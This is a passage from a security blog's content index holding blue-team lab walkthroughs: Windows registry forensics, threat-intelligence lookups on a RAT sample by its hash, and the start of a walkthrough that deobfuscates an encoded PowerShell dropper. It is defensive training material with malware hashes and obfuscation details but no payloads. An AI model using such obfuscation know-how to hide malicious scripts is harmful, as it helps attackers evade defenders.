https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege\nMagnet Forensics \u0026quot; # \u0026ldquo;ShimCache vs AmCache: Key Windows Forensic Artifacts\u0026rdquo;: https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Sample: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c\nMagnet Forensics \u0026quot; # \u0026ldquo;What is MRU (Most Recently Used)?\u0026rdquo;: https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/\nMagnet Forensics \u0026quot; # \u0026ldquo;Forensic analysis of the Windows UserAssist artifact\u0026rdquo;: https://www.magnetforensics.com/blog/artifact-profile-userassist/\n","date":"2025-05-04T00:00:00Z","image":"/posts/letsdefend-windows-registry-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-windows-registry-challenge-walkthrough/","title":"LetsDefend — Windows Registry Challenge Walkthrough"},{"content":"LetsDefend— RegistryHive Challenge Walkthrough Investigating a Registry Dump with Registry Explorer and RegRipper. Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the RegistryHive challenge from LetsDefend, you\u0026rsquo;re in the right place. This week, we\u0026rsquo;re going deep into investigating the Windows Registry.\nChallenge Scenario: You\u0026rsquo;re a forensics analyst and have a registry dump. Try to analyze the evidence and answer the questions.\nIn this scenario, we\u0026rsquo;re assuming the role of a digital forensics analyst and are provided with a registry dump of a Windows device. Our objective is to analyze the artifacts and determine the answers to several questions to move through our investigation.\nTo aid in our investigation, we\u0026rsquo;re going to leverage several tools, including RegRipper and Eric Zimmerman\u0026rsquo;s Registry Explorer, to view, search, and interpret data within the various registry hives to get a comprehensive view of the system. Since this is my first time testing these tools, we\u0026rsquo;ll explore multiple ways of finding the information while we discover the various features of the tools, and I\u0026rsquo;ll explain the approach along the way, making this a great primer into the world of registry forensics!\nSounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: What is the Computer name of this machine? To kick off our investigation, let\u0026rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.\nFirst, let\u0026rsquo;s take a look at the challenge artifacts in the RegistryHive \u0026gt; Regs directory. We\u0026rsquo;ll see that the folder contains a dump of the Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we\u0026rsquo;ll need to analyze to tackle the investigation.\nEach of these hives contain different keys pertaining to various aspects of the device. Don\u0026rsquo;t worry, we\u0026rsquo;ll go into these in more detail later.\nThe Registry Hive artifacts\nNext, let\u0026rsquo;s check out the contents of the Tools folder within the analysis environment. Inside, we\u0026rsquo;ll see that we have access to three tools that are used to parse and view registry hives — very handy, indeed!\nRegistry Explorer: Part of Eric Zimmerman\u0026rsquo;s tool suite. This GUI-based tool is a \u0026quot; # \u0026ldquo;Registry viewer with searching, multi-hive support, plugins, and more.\u0026ldquo;2. RegRipper2.8/3.0: Two versions of RegRipper, a registry forensics tool used to extract information from registry hives using plugins. Version 2.8 is no longer maintained, but sometimes different versions of a tool give different outputs\u0026hellip; Contents of the Tools folder\nNow that we have the background information out of the way, let\u0026rsquo;s get into the investigation! Our first task is to identify the Computer Name within the registry hives. We can locate this information in the SYSTEM hive, which contains the system\u0026rsquo;s configuration settings. To view this information, let\u0026rsquo;s check out Registry Explorer by performing the following steps:\nExtract Registry Explorer and open the application. Press File \u0026gt; Load Hive. Select the SYSTEM hive from the Regs directory. Now that we have the SYSTEM hive loaded in Registry Explorer, we can work smarter and leverage the search box and enter \u0026quot; # \u0026quot;\ncomputer name\u0026rdquo; into the field.\nRegistry Explorer: Searching the SYSTEM hive for Computer Name\nThis will take us directly to the correct key within the hive, and we can view the ComputerName value to find the answer to Question 1!\nQuestion 2: What is the last shutdown time for this machine? Next, we\u0026rsquo;ll need to determine the last shutdown time for the machine from the artifacts. For this task, we\u0026rsquo;ll continue using Registry Explorer with the SYSTEM hive.\nInstead of using the search field to find this string like we did for the last question, let\u0026rsquo;s leverage the \u0026quot; # \u0026quot;\nBookmarks\u0026rdquo; tab. Bookmarks are built into Registry Explorer and flag common artifacts, saving us time hunting. Putting this into practice, we\u0026rsquo;ll use the following process to find the Windows (Last shutdown time):\nWithin Registry Explorer, press \u0026quot; # \u0026quot; Bookmarks.\u0026quot;\nSelect the \u0026quot; # \u0026quot; Common\u0026quot; tab and scroll down to \u0026quot; # \u0026quot;\nWindows (Last shutdown time).\u0026quot;\nSelecting this option will navigate you to the correct key containing the value we\u0026rsquo;re looking for. Registry Explorer: Using Bookmarks to Identify the Last Shutdown Time\nThere\u0026rsquo;s just one small hiccup. Did you notice that the data isn\u0026rsquo;t displayed in a readable Date/Time format? There are a couple of ways we can solve this dilemma, covered below.\nOption 1: The simple method using the Data interpreter. The first way we can approach this is to right-click the ShutdownTime value and then select, **\u0026quot; # \u0026quot;\nData interpreter\u0026quot; **.\nRegistry Explorer: Selecting the Data Interpreter\nOnce the Data Interpreter window opens, we can see the interpreted Windows FILETIME value: 2023-03-23 21:53:11\nOption B: Converting the data with CyberChef. I\u0026rsquo;ll admit, this was the first approach I took before discovering the data interpreter (read the manual, my friends ðŸ˜‘), but I\u0026rsquo;m leaving this option here in case you ever run across a scenario where the data interpreter is not available, or you\u0026rsquo;re just curious.\nFor this approach, copy the RegBinary data from the \u0026quot; # \u0026quot;\nData\u0026quot; column in Registry Explorer:\nRegistry Explorer: The Data of the ShutdownTime\nC446BEDCD15DD901\nThen, use your web browser to navigate to CyberChef.\nOnce you have CyberChef open, paste the data contents into the \u0026quot; # \u0026quot; input window\u0026quot; .\nAdd the \u0026quot; # \u0026quot; **Windows Filetime to UNIX Timestamp\u0026quot; ** operation to the recipe.\nEnsure \u0026quot; # \u0026quot; Output units\u0026quot; is set to Seconds (s).\nSelect Hex (little endian) as the \u0026quot; # \u0026quot; Input format\u0026quot; .\nAdd the \u0026quot; # \u0026quot; **From UNIX Timestamp\u0026quot; ** operation to the recipe.\nThe resulting output will display the expected time format.\nCyberChef: Converting the ShutdownTime data\nOne final trick for answering Question 2: pay no attention to the requested answer format. Instead, copy \u0026amp; paste the Windows FILETIME value exactly as we identified it: 2023-03-23 21:53:11\nQuestion 3: What is the time zone name that the machine uses? The next task is to identify the time zone used by the machine. Fortunately, we can continue to leverage Registry Explorer\u0026rsquo;s bookmarks and select the \u0026quot; # \u0026quot;\n**TimeZoneInformation\u0026quot; ** option to quickly locate this information.\nRegistry Explorer: Selecting the TimeZoneInformation bookmark\nRegistry Explorer: Identifying the machine Time Zone\nQuestion 4: What is the IP address of the default gateway? For Question 4, we\u0026rsquo;ll need to identify the default gateway IP address of the target system. To locate this information, we\u0026rsquo;ll leverage the Find tool of Registry Explorer, which we can access by pressing \u0026quot; # \u0026quot;\nTools\u0026quot; and selecting \u0026quot; # \u0026quot;\nFind.\u0026quot;\nWe\u0026rsquo;ll keep the default options and simply enter the string \u0026quot; # \u0026ldquo;DefaultGateway\u0026quot;into the search box.\nOnce we press \u0026quot; # \u0026quot;\nSearch,\u0026rdquo; we\u0026rsquo;ll see the results in the bottom pane. The first result gives us the DHCPDefaultGateway value for a specific adapter, leading us to the correct answer.\nQuestions 5 \u0026amp; 6: What is the last login date for the user \u0026quot; # \u0026quot; Work\u0026quot; ?\nHow many logins did the \u0026quot; # \u0026quot; Work\u0026quot; user have?\nContinuing with our investigation, we now need to determine some activities performed by the user \u0026quot; # \u0026quot;\nWork.\u0026quot; To find this information, we need to pivot from the SYSTEM hive and load the Security Account Manager (SAM) Hive, which contains user information like username, group membership, and login information.\nOnce we load the SAM hive with Registry Explorer, we can use the available bookmark to discover information about the users on the subject system. Unfortunately, the view is cramped with the limited screen space within the analysis environment, and this is a good excuse to try out another tool — RegRipper3.0.\nRegistry Explorer: Viewing the Users Key from the SAM Hive\nLaunch RegRipper3.0 (rr.exe) from the Tools folder to access the GUI. Once it opens, select the SAM hive file, specify a path to export the report to, and let it Rip!\nRegRipper Setup\nThis will produce two output files after the run, which is best explained by SANS:\nRegRipper creates two files when it runs. The first is the report file that contains the output of the plugins that were ran against the registry file. The second file is a log file that contains the dates, times, plugins ran, and the number of errors that occurred with the plugins. The log file filename is based off of the report file name minus the extension.\nWe\u0026rsquo;ll want to focus on the first file and search for the username \u0026quot; # \u0026quot;\nWork.\u0026quot; Once we\u0026rsquo;ve located the account in the output, we\u0026rsquo;ll find the answers needed to answer Question 5 \u0026amp; 6.\nRegRipper: Output for the SAM hive\nQuestions 7 \u0026amp; 8: What is the OS \u0026quot; # \u0026quot; ProductName\u0026quot; ?\nWhat is the OS \u0026quot; # \u0026quot; BuildNumber\u0026quot; ?\nWe\u0026rsquo;re moving right along now! To answer Questions 7 \u0026amp; 8, we\u0026rsquo;ll need to discover the \u0026quot; # \u0026quot;\nProductName\u0026quot; and \u0026quot; # \u0026quot;\nBuildNumber\u0026quot; of the operating system where the dump was captured. Since this isn\u0026rsquo;t user account-related, we\u0026rsquo;ll need to search for another artifact — the SOFTWARE hive. The SOFTWARE hive contains the information, settings, and preferences for software installed on the system, including the operating system.\nTo answer these questions, let\u0026rsquo;s jump back into Registry Explorer, load the SOFTWARE hive, and use the available common bookmarks, selecting \u0026quot; # \u0026quot;\nCurrentVersion (Windows version information (Windows NT key))\u0026quot; .\nRegistry Explorer: Selecting the CurrentVersion bookmark\nThis will take us directly to the SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion key, which contains information about the Windows version, including the ProductName and CurrentBuildNumber.\nRegistry Explorer: Identifying the ProductName \u0026amp; CurrentBuildNumber\nQuestion 9: How many programs run on startup for any user? To find the answer to Question 9, we\u0026rsquo;ll need to determine how many programs run on startup for any user. But first, let\u0026rsquo;s take a step back and understand why autorun applications have the potential to be abused by an attacker.\nAccording to MITRE ATT\u0026amp;CK, a global knowledge base of adversary tactics, techniques, and procedures, a registry run key can be abused for persistence and privilege escalation because \u0026quot; # \u0026ldquo;adding an entry to the \u0026quot; # \u0026quot;\nrun keys\u0026rdquo; in the Registry or startup folder will cause the program referenced to be executed when a user logs in.\u0026quot;Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder _Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key\u0026hellip;_attack.mitre.org\nSo, it\u0026rsquo;s important that we check this key to determine if this feature was abused by an attacker or used for benign, normal tasks. We can again leverage the Registry Explorer bookmarks, selecting \u0026quot; # \u0026quot;\n**Run (Run key)\u0026quot; ** to take us to the key for the startup programs for all users.\nRegistry Explorer: Selecting the Run key bookmark\nRegistry Explorer: Identifying the startup programs\nAfter selecting the bookmark, we can determine that there are two applications set to run on startup for any user. Both programs appear normal and not malicious.\nQuestion 10: What is the last installed app? To identify the last app installed, we\u0026rsquo;ll continue with our analysis of the loaded SOFTWARE hive. To locate the correct registry key, we can search within the available bookmarks for the keyword \u0026quot; # \u0026ldquo;uninstall.\u0026ldquo;Why would we search for \u0026ldquo;uninstall\u0026quot;when we are looking for installed apps? This is because information about software installed on the system is contained in the Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall key, where we\u0026rsquo;ll be able to find information about the install dates for the applications. Let\u0026rsquo;s try it out:\nPress the \u0026quot; # \u0026quot; Available bookmarks\u0026rdquo; tab. 2. Enter the string \u0026quot; # \u0026quot;\nuninstall\u0026rdquo; into the search box and press \u0026quot; # \u0026quot;\nFind\u0026rdquo; . 3. Click the key named \u0026quot; # \u0026quot;\nUninstall\u0026quot; . 4. In the right pane, sort the \u0026quot; # \u0026quot;\nTimestamp\u0026quot; column to display the most recent results at the top.\nRegistry Explorer: Identifying the last installed program by timestamp\nAfter analyzing the results of the Uninstall key, we\u0026rsquo;ll see that the application XAMPP was the last one installed onto the system.\nQuestion 11: What is the \u0026quot; # \u0026quot; DefaultGatewayMac\u0026quot; ?\nTo determine the \u0026quot; # \u0026quot;\nDefaultGatewayMac,\u0026quot; we\u0026rsquo;ll take a similar approach to what we used back in Question 4. Continuing with the SOFTWARE hive, we\u0026rsquo;ll once again leverage Registry Explorer\u0026rsquo;s find tool and enter the string \u0026quot; # \u0026ldquo;DefaultGatewayMac\u0026quot;into the search box to locate the MAC address data.\nAfter running the search, we\u0026rsquo;ll see the results in the bottom pane. The value data provides us with the DefaultGatewayMac entry for the network adapter.\nQuestion 12: What is the Machine SID? We\u0026rsquo;ve made it to the final question! Our last task is to determine the Machine Security Identifier (SID) of the device. Let\u0026rsquo;s do some research and get some context for what we\u0026rsquo;re looking for. According to an article from Forensafe:\nA security identifier (SID) is a unique alphanumeric number that identifies a security principal or a security group. Security principals can be a user account, a computer account, a thread, or a process. SID is generated by the system to identify a particular entity at the time it is created.\nInvestigating Machine SID _18/07/2022 Monday A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a\u0026hellip;_forensafe.com\nIn addition to the fantastic explanation, the article also discloses the location of this file in the registry:\nMachine SID is stored in a security database. The default location is Windows\\System32\\Config\\SECURITY\\SAM\\Domains\\Account registry key.\nTo save you some time, the unfortunate part is that this is a dead-end lead for the artifacts that we have available to us. So, let\u0026rsquo;s pivot and refer to the question hint for some guidance:\nRemember from all the way back in Question 1 that we noted two versions of RegRipper in the Tools folder? Now we know why. Occasionally, leveraging older versions of tools will change how input is parsed — let\u0026rsquo;s try out RegRipper2.8 and see what we can find.\nWhile like how we set up the 3.0 version, there are some differences. First, point to the SECURITY hive file which contains security policy and settings information. Then, specify your output directory for the two .txt files. Finally, in the profile drop-down, select \u0026quot; # \u0026quot;\nsecurity.\u0026rdquo;\nRegRipper2.8: Setup\nOnce the output file is generated, open it up and we\u0026rsquo;ll be able to easily locate the Machine SID value that we\u0026rsquo;re looking for to complete the investigation.\nRegRipper2.8 Output: Discovering the Machine SID\nConclusion: There we have it! By combining Registry Explorer and RegRipper to analyze the provided SYSTEM, SAM, SOFTWARE, and SECURITY registry artifacts, we\u0026rsquo;ve successfully collected the necessary information from the target computer. We were able to determine valuable information about the device, including the OS, computer name, time zone, and network information. We also learned about user and application activities on the system, giving us a clear view of what the device is and how it\u0026rsquo;s used — all through the registry. Now that we have scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the RegistryHive challenge!\nA big thank you to LetsDefend, for the awesome challenge! This challenge was a great opportunity for me as I am very familiar with the registry but have never had to approach it from a forensics perspective. I knew this experience would help improve my skills and expose me to some of the valuable artifacts available in the registry. The hands-on practice is extremely valuable in the real world. This challenge was also a fantastic opportunity to explore more of Eric Zimmerman\u0026rsquo;s tools like Registry Explorer. This was an extremely powerful and flexible utility that is now part of my kit. I also had never used RegRipper and was extremely impressed by its ease of use and powerful output. All-in-all, this was a fun way to grow my skills — awesome stuff!\nThank you for your support and partnering up on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/registryhive\nRegistry Explorer: https://ericzimmerman.github.io/#!index.md\nRegRipper3.0 — GitHub: https://github.com/keydet89/RegRipper3.0\nMicrosoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives\nMicrosoft Learn — File Times: https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times\nCyberChef: https://gchq.github.io/CyberChef/\nSANS Blog — RegRipper: Ripping Registries With Ease: SANS Digital Forensics and Incident Response Blog | RegRipper: Ripping Registries With Ease | SANS Institute\nMITRE ATT\u0026amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/\nForensafe — Investigating Machine SID: https://forensafe.com/blogs/machine_sid.html\n","date":"2025-04-27T00:00:00Z","image":"/posts/letsdefend-registryhive-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-registryhive-challenge-walkthrough/","title":"LetsDefend — RegistryHive Challenge Walkthrough"},{"content":"CyberDefenders — Yellow RAT Lab Walkthrough A Cyber Threat Intelligence Challenge using Hybrid Analysis, VirusTotal, and Red Canary Intelligence. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the Yellow RAT Lab from CyberDefenders, you\u0026rsquo;re in the right place.\nIn this scenario, we\u0026rsquo;re jumping into the world of cyber threat intelligence (CTI) by investigating a malware sample discovered within the victim\u0026rsquo;s environment. The challenge? We\u0026rsquo;re only provided the file hash of the malware, so it\u0026rsquo;s up to us to use our research skills to collect threat intelligence and determine what the malware is, how it operates, and what it communicates with.\nTo perform this investigation, we\u0026rsquo;ll leverage some common threat intelligence and malware analysis platforms, like VirusTotal and Hybrid Analysis, as well as conduct additional research on Google. Performing this analysis will give us the information we need to put a stop to this incident. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees\u0026rsquo; search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.\nQuestion 1: Understanding the adversary helps defend against attacks. What is the name of the malware family that causes abnormal network traffic? Time to kick off this investigation! Our first task is to unzip the challenge file containing a text file, hash.txt. The content of this file is the SHA256 file hash of the malware that infected the employee workstations.\nTo begin, copy the file hash:\n30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85\nThroughout this challenge we\u0026rsquo;ll leverage several threat intelligence sources but the first one we\u0026rsquo;ll use is Hybrid Analysis, an online malware analysis service, to check the unique malware file hash contained in hash.txt. This allows us to check previous reports about the sample and gather more information about the incident. To do this follow the steps below:\nUse your web browser to navigate to https://www.hybrid-analysis.com/ Select the \u0026quot; # \u0026quot; Report Search\u0026quot; tab. 3. Paste the file hash into the search box \u0026amp; press \u0026quot; # \u0026quot;\nsearch.\u0026quot;\nSelect the first report in the list with the timestamp of June 20th, 2022 (though any should work.) Within the report, under Falcon Sandbox Reports, click the report from the Windows 7 32 bit sandbox with the threat score of 94/100. Hybrid Analysis search result: https://www.hybrid-analysis.com/search?query=30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85\nHybrid Analysis: Selecting the Falcon Sandbox Report\nNow that we\u0026rsquo;re in the report, we can start collecting some intelligence about the malware. The first objective to answer Question 1 is to discover the name of the malware family. To discover this information, we\u0026rsquo;ll use the Open Source Intelligence (OSINT) section under Additional Context and select the report from Red Canary Intelligence to be redirected to their blog entry.\nHybrid Analysis: Selecting the Red Canary Report\nWe\u0026rsquo;ll find the malware name is featured prominently as the subject of the write up. Not only that, but we\u0026rsquo;ll discover some extremely valuable technical information about the malware that can help us to contextualize the attack. Great find! We\u0026rsquo;ll return to this blog entry later, so keep it handy for later in the investigation.\nQuestion 2: As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection. What is the common filename associated with the malware discovered on our workstations? Now that we\u0026rsquo;ve uncovered the malware family we\u0026rsquo;re investigating, let\u0026rsquo;s pivot to another source of intelligence, VirusTotal. If you\u0026rsquo;re unfamiliar with it, VirusTotal is another popular malware analysis platform with detailed detection information and analysis reporting for malware samples.\nThe process of checking VirusTotal is similar to our approach with Hybrid Analysis:\nUse your web browser to navigate to https://virustotal.com Paste the file hash into the search box \u0026amp; press \u0026quot; # \u0026quot; search.\u0026quot;\nOnce the results page has loaded, select the \u0026quot; # \u0026quot; Details\u0026quot; tab.\nVirusTotal VirusTotalwww.virustotal.com\nOn the \u0026quot; # \u0026quot;\nDetails\u0026quot; tab, we\u0026rsquo;ll see a ton of valuable data about the malware sample but to answer Question 2, we need to discover the common filename used by the malware. We can locate this information by scrolling down to the \u0026quot; # \u0026quot;\nSignature info\u0026quot; section under the \u0026quot; # \u0026quot;\nFile Version Information\u0026quot; header:\nVirusTotal: Identifying the common filename of the sample\nOnce we\u0026rsquo;ve identified the \u0026quot; # \u0026quot;\nOriginal Name,\u0026quot; copy that value and submit the answer.\nQuestion 3: Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline. What is the compilation timestamp of the malware that infected our network? For our next task, we need to determine the timestamp for the malware\u0026rsquo;s compilation. We can continue to explore the VirusTotal report to locate this information in the \u0026quot; # \u0026quot;\nPortable Executable Info\u0026quot; section right below the \u0026quot; # \u0026quot;\nSignature Info\u0026quot; we used in the previous question.\nScroll down to the \u0026quot; # \u0026quot;\nHeader\u0026quot; section to location the Compilation Timestamp value that we\u0026rsquo;re searching for.\nVirusTotal: Identifying the compilation timestamp of the malware sample\nQuestion 4: Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection. When was the malware first submitted to VirusTotal? To answer Question 4, we\u0026rsquo;ll need to identify the date the malware sample was first submitted to VirusTotal. To locate this information, check the \u0026quot; # \u0026quot;\nHistory\u0026quot; section toward the top of the \u0026quot; # \u0026quot;\nDetails\u0026quot; tab and check the First Submission timestamp.\nVirusTotal: Identifying the first submission time\nQuestion 5: To completely eradicate the threat from Industries\u0026rsquo; systems, we need to identify all components dropped by the malware. What is the name of the .dat file that the malware dropped in the AppData folder? Our next objective is to identify files dropped by the malware. Typically, we can locate this information on VirusTotal but in this case, we\u0026rsquo;ll need to switch gears to find the answer since the data isn\u0026rsquo;t available on VirusTotal.\nLet\u0026rsquo;s refer back to the Red Canary Intelligence report we discovered in Question 1 and see if we can gather more information from the blog to find the answer.\nScroll down to the \u0026quot; # \u0026ldquo;Deep dive on the .NET RAT\u0026quot;section of the blog to view the granular technical details of the malware including the name of the .dat file we\u0026rsquo;re seeking to answer the question.\nLeveraging the report from Red Canary to identify the .dat file\nQuestion 6: It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfiltration. What is the C2 server that the malware is communicating with? We\u0026rsquo;ve made it to the final question! Our last objective is to identify the command and control (C2) server the malware communicates with. To tie this all together, we\u0026rsquo;ll check all the previous threat intelligence sources for this information, starting with the Red Canary report.\nFrom the report, in the same section where we located the name of the .dat file for the previous question, we can see that point #3 contains the observed C2 URL used by the sample. That\u0026rsquo;s a good start, but let\u0026rsquo;s check another source.\nLeveraging the report from Red Canary to identify the C2 server\nReferring back to VirusTotal, navigate to the \u0026quot; # \u0026quot;\nBehavior\u0026rdquo; tab and scroll to the \u0026quot; # \u0026quot;\nNetwork Communication\u0026quot; section. Here, we\u0026rsquo;ll find the same URL that we discovered in the Red Canary report as a \u0026quot; # \u0026quot;\nMemory Pattern Domain/URL\u0026quot; indicating a string discovered in the malware sample.\nVirusTotal: Identifying the C2 server\nWe can take this one step further by checking the URL against VirusTotal to determine the reputation of this domain.\nVirusTotal: Detection of C2 URL\nFinally, let\u0026rsquo;s navigate back to the Hybrid Analysis report we used back in Question 1 and locate the \u0026quot; # \u0026quot;\nSuspicious Indicators\u0026quot; section and locate the External Systems section. Here we\u0026rsquo;ll confirm the C2 URL along with the reputation detection of the domain, confirming our findings.\nHybrid Analysis: Locating the C2 URL\nWith this triple-confirmation, let\u0026rsquo;s submit the answer and wrap up this investigation!\nConclusion: There we have it! Starting with the file hash of the sample, we were able to search for detailed information about the malware on VirusTotal and Hybrid Analysis. These platforms provided comprehensive reports on the malware\u0026rsquo;s behavior, allowing us to understand when it was compiled and seen in the wild, what file it drops, and its C2 infrastructure. The reports also contained links to valuable malware research, like the blog from Red Canary, that we used to tie the investigation together.\nNow that we\u0026rsquo;ve scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the Yellow RAT Lab!\nA big thank you to CyberDefenders, for another exciting and realistic lab scenario. I always keep threat intelligence challenges in the rotation. Experience with tools like VirusTotal and Hybrid Analysis is a fundamental in this field. Hands-on practice with these tools and understanding what you can learn from the reports is especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. Although I don\u0026rsquo;t often have the opportunity to review research done by Red Canary, every time I encounter their work, I\u0026rsquo;m really impressed with the analysis — I\u0026rsquo;ll definitely keep them bookmarked!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/\nHybrid Analysis: https://www.hybrid-analysis.com/\nHybrid Analysis (Sample): https://www.hybrid-analysis.com/sample/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/5fd004f2f760b679ae373bb3\nVirusTotal: https://www.virustotal.com/\nVirusTotal (Sample): https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/community\n**Red Canary Threat Intelligence — \u0026quot; # \u0026quot;\nYellow Cockatoo: Search engine redirects, in-memory remote access trojan, and more\u0026quot; :** https://redcanary.com/blog/yellow-cockatoo/\n","date":"2025-04-13T00:00:00Z","image":"/posts/cyberdefenders-yellow-rat-lab-walkthrough/3ceea2046296f2898063add467304d49_MD5.png","permalink":"/posts/cyberdefenders-yellow-rat-lab-walkthrough/","title":"CyberDefenders  —  Yellow RAT Lab Walkthrough"},{"content":"Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough An incident response challenge using CyberChef and URLhaus. Image Credit: https://blueteamlabs.online/\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious PowerShell Analysis challenge from Blue Team Labs Online, you’re in the right place.\nIn this scenario, an employee opened a phishing email and executed malware on their system, causing a business-wide disruption. As part of the incident response team, we’re provided an encoded PowerShell script and our mission is to analyze the contents of this script and identify the malware it contains.\nTo perform our investigation, we’ll hop into the kitchen with CyberChef, a popular tool to perform data decoding and analysis, to examine the PowerShell script. Throughout the investigation, we’ll map the adversary’s techniques and software to MITRE ATT\u0026amp;CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive understanding of the attack. Finally, we’ll leverage an external cyber threat intelligence service to uncover more details about the malware. Sounds like a good time to me — let’s get into it!\nIf you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware. The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to assist with the investigation. You are a member of the IR team — all you have is an encoded Powershell script. Can you decode it and identify what malware is responsible for this attack?\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.\nTo keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:\n[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash; \u0026ldquo;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;\u0026rdquo;)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- \u0026ndash;d2311959d5f3\u0026mdash; \u0026ndash;)\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: What security protocol is being used for the communication with a malicious domain? Let’s dive right in and extract the challenge file where we’ll find our sample, ps_script.txt. We can open this file with any text editor, but for this walkthrough, I’ll be using Notepad++.\nEncoded PowerShell Command\nInside the file, the contents contain a block of Base64 encoded code indicated by the -ENCOD argument, which allows encoded commands to be passed and executed. This is a common defense evasion (MITRE ATT\u0026amp;CK T10027.010) method used by attackers to obfuscate their code.\nOur first task is to decode this script to determine the goals of the attacker. We can accomplish this by leveraging CyberChef to help us deobfuscate the script using the following steps:\nOpen CyberChef — this is built into REMnux, but the web-based version works too. Paste the encoded command into CyberChef’s “Input” window. Apply the “From Base64” operation to the recipe. Add the “Remove null bytes” operation. Applying the From Base64 Operation\nApplying the Remove Null Bytes Operation\nWe’re getting closer and we can identify some readable strings, but there is still some additional obfuscation to deal with. Going through the first couple of lines, we can identify several junk characters separating clear text words within the script.\nTo remove these characters:\nAdd the “Find/Replace” operation to the recipe. Enter the regex [,'()+\\\u0026quot;] to define the individual characters within the brackets we want to match. Feel free to add others if you spot them. Leave the “Replace” field empty to replace the characters defined in the regex with blank characters. We’re getting even closer to making the script human-readable but notice that the URL strings begin with ]anw[3 instead of something more familiar like http. Let’s add another “Find/Replace” operation, this time using the “Simple String” matching and replacing ]anw[3 with http to read the URLs more clearly.\nApplying a second Find/Replace Operation\nAfter this change, the script is much more readable, but let’s take this one step further and split the script into individual lines. We can accomplish this by adding one final operation to the recipe — “Split.” Once added to the recipe, set the split delimiter on the ; character 